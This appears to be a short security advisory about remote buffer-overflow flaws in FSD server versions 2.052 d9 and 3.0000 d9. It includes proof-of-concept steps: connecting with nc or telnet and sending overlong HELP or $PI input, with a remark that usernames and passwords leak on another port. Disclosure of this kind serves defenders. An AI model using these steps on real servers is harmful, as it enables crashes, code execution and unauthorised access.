FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data.
|
|
|
|
An attacker can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
|
|
|
These issues affect FSD 2.052 d9 and 3.0000 d9; other versions may also be affected.

A]
|
|
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
|
|
it's easy to recognize since it shows a "FSD>" prompt) and then send:
|
|
|
|
HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa
|
|
|
|
B]
|
|
connect with nc or telnet to port 6809, now you must log in or create a
|
|
new user, but seems that all usernames and passwords are available on
|
|
port 3011 (or 3012) where they are sent just when you connect:
|
|
|
|
#AAcallsign::ident:122222:122222:1:9
|
|
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa
|
|
|
|
(in the above example the first 122222 is the CID and the second one is
|
|
the password) |
